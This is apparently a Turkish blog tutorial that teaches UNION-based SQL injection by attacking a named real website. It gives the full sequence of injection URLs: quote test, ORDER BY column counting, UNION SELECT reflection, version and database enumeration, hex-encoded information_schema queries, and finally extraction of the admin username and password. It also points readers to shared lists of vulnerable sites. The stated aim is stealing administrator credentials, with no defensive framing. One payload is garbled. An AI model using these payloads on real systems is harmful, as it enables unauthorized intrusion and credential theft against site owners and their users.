SQL Açığı nasıl kullanılır?

 

SQL Açığını inceleyelim öncesinde SQL Açığı ile ilgili yaptığımız tanımı tekrar hatırlayalım. SQL İnjection Açığı Web sitede SQL komutlarını çalıştırarak veri çekmeyi hedefleyen sunucuya yönelik bir güvenlik açığıdır. Birden fazla çeşidi bulunan geniş bir açıktır . Burada "SQL" dediğimiz şeyin ne olduğunu anlayalım. "Sql" bir database (veritabanı) programlama dilidir. SQL Açığı, Sql ile ilgili yapılan kodlama hatalarıyla ortaya çıkan bir açık türüdür. Buna göre, SQL  Açığı olan bir sitede bazı SQL komutları kullanarak site yöneticisinin kullanıcı adı ve parola bilgilerine ulaşılabilir. Günümüzde on milyonlarca sitede Sql açığı bulunduğu gibi, devlet sitesi gibi önemli sitelerde de bu açık türüne rastlanır.


Bir sitede SQL açığı olduğunu nasıl anlarsınız? Bunun el ile ve program kullanarak otomatik bir şekilde tarama yapma şeklinde iki seçeneği var. El ile taramanın nasıl yapıldığını konuya geçince hemen anlayacaksınız zaten ama bunu hiç tavsiye etmem. Çünkü çok zamanınızı alabileceğinden program ile otomatik tarama yapmak daha uygundur. Ayrıca forumda veya başka yerde hazır "Sql Açıklı Siteler" bolca paylaşılıyor.


İlk önce "Safe3" veya "Acunetix" gibi bir program aracılığı ile hedef sitemizde SQL açığı olup olmadığını taratıyoruz.

SQL Açığı bulunan sayfa "kelime.php?id=sayı" denen bir değer içeriyor. (Kelime adı ve sayı değeri duruma göre değişebilir.) Demek ki biz ileride SQL açıklı site taraması yaparken dorklarımızı buna göre yazacağız.

Şimdi ilk önce sitemizde SQL Açığı olup olmadığından emin olmak için sayfamızın sonuna tırnak işareti ( ' )ekleyelim.



Örnek Kod: http://musculoskeletalsociety.in/page.php?id=5'

Eğer karşımıza;

"You Have An Error İn Your SQL Syntax, Check The Manuel That Corresponds To Your MYSQL Server Version For The Right Syntax To Use Near "'3728"' At Line 1"


gibi bir hata gelirse sitemizde Sql Açığı vardır. Tabii benzer bir hata da meydana gelebilir. Bizim sitemizde alt tarafta bir hata meydana geldi. SQL açığı olduğunu görüyoruz. Önce sitemizin kolon sayısını öğrenmemiz gerekiyor. Bunun için "+order+by+sayı" kodunu kullanmamız gerekiyor. Bir deneme yapalım.


Kod:http://musculoskeletalsociety.in/page.php?id=5+order+by+20

Karşımıza şu ve benzeri bir hata geliyor:

"Unknown column ’20’ in ’order clause"

Demek ki kolon sayımız 20'den daha az. Sayıyı yavaş yavaş düşürerek tekrar deniyoruz. Amacımız sitede herhangi bir hatayla karşılaşmamak.

Kod: http://musculoskeletalsociety.in/page.php?id=5+order+by+15 http://musculoskeletalsociety.in/page.php?id=5+order+by+10 http://musculoskeletalsociety.in/page.php?id=5+order+by+7 http://musculoskeletalsociety.in/page.php?id=5+order+by+6 http://musculoskeletalsociety.in/page.php?id=5+order+by+5


Evet, "5" değerinde bir hata almadık. Kolon sayımızın 5 olduğunu öğrendik. Şimdi sıra kolonları yansıtma işleminde. Bu işlemi "+union+select+sayı,sayı,sayı..." şeklinde 2 türlü yapabiliriz.

Kod:http://musculoskeletalsociety.in/page.php?id=5+union+select+1,2,3,4,5 veya

Kod:http://musculoskeletalsociety.in/page.php?id=5+union+select+0,1,2,3,4


İki seçenekte de ortak olan özellik toplam 5 tane sayı girmemiz. Bazen seçeneklerden birisi sonuç vermezse diğerini denersiniz. Fakat bu işlemi yaptığımızda ekrana hiç bir şey yansımadı. İşlemimizin başarılı olması için "id" değerini sitede bulunmayan bir değer almak gereklidir. Bunun için en mantıklı şey sayının başına " - " işaretini bırakmak olacaktır. Yani şu şekilde:

Kod:http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,2,3,4,5



Ekrana "2" ve "3" sayıları yansıyor. Bunları bir kenara not edelim. Bu iki değeri de kullanacağız. Şimdi bize ek olarak Sql versiyonu gerekli. Az önce bize 2 ve 3 sayıları yansıdı, biz "2" değerini kullanalım. Dikkatle bakın:



Kod:http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,version(),3,4,5



Dikkatinizi çeken şey "version()" kodunu "2" yerine kullanmamız oldu. İsteseydik "3" yerine de kullanabilirdik. Karşımıza çıkan değer "5.6.35" şeklinde. Kısaca "5" diyelim, gerisi önemli değil. Eğer ileride denediğiniz farklı sitelerde sizde versiyon olarak 5 dışında bir şey çıkarsa (4 gibi) o siteyle şimdilik uğraşmayın. Kafanız karışacak.Zaten çoğu site versiyon 5 almakta.


Daha sonra veritabanı ismini öğrenmeliyiz.



Kod:http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,database(),3,4,5




Veritabanı ismi: "culosmus_muscul" Bunu hemen hex koduna çevirmeliyiz. Hex Kodu bir nevi şifreleme türüdür. İnternette "Hex Kod Çevirici" siteler var. Şu site işinizi görecektir:Bir siteden veri tabanımızı hex biçiminde çeviriyoruz. Şöyle bir çeviri aldık:"63756C6F736D75735F6D757363756C"Bu kodun başına "0x" koymayı unutmayın. Yani şöyle: "0x63756C6F736D75735F6D757363756C" Bunu kenara not edin.Şimdi sıra veri çekme işlemlerine geldi. Ama önce veri çekme esnasında karşılaşacağımız 3 terimi inceleyelim.


Table: "Tablo" manasına gelir. Bir sitede çok sayıda tablo bulunur. Örnek olarak "yönetici" adlı bir tabloda yönetici ile ilgili bilgileri bulabilirsiniz. İlk aşamada bize gerekli olan tabloyu buluruz.


Column: "Kolon" anlamındadır. Her tablonun içinde birkaç tane kolon bulunur. Örnek olarak "yönetici" adlı tablo içinde yöneticiye ait "mail" , "kullanıcı adı" , "parola" bilgileri bulunabilir. İkinci aşamada tablo içindeki kolonlardan bize gerekli olanlarını seçeriz.


Data: Kolonlardan çekilen verilerdir. Üçüncü aşamada seçtiğimiz kolonlardan verileri çekeriz.


Artık verileri çekmeye başlayabiliriz.


Kod:http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,group_concat(table_name),3,4,5+from+information_schema.tablolar + a + TABLE_SCHEMA = 0x63756C6F736D75735F6D757363756C

Karışık bir kod kalabalığı oldu, uğraştıkça alışırsınız. Karşımıza birçok tablo adı gelecek. Bunlardan işimize yarayacak olanını seçmeliyiz. En başta "admin" bölümünü görüyoruz. Adı üzerine içinde admin bilgilerinin olduğu gayet belli oluyor. Hemen o tablonun "column" verilerini çekmeliyim.

Önce "admin" hex kodlarını çıkartalım ve başına "0x" ekleyelim: "0x61646D696E"

Şimdi devam edelim:



Kod:http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_schema=0x63756C6F736D75735F6D757363756C+and+table_name=0x61646D696E


Yüzdük yüzdük kuyruğuna geldik artık. Artık karşımıza kullanıcı bilgileri çıkıyor. Bunlarda "user_id" ve"password" seçeneklerini alıp kullanıcı adını ve şifreyi ele geçireceğiz. Şimdi iki değer alacağım için hem "2"hem de "3" değerini kullanmam gerekiyor.


Kod:http://musculoskeletalsociety.in/page.php?id=-5+union+select+1,(user_id),(password),4,5+from+admin

- Mevcut yorum.

Daha yeni Daha eski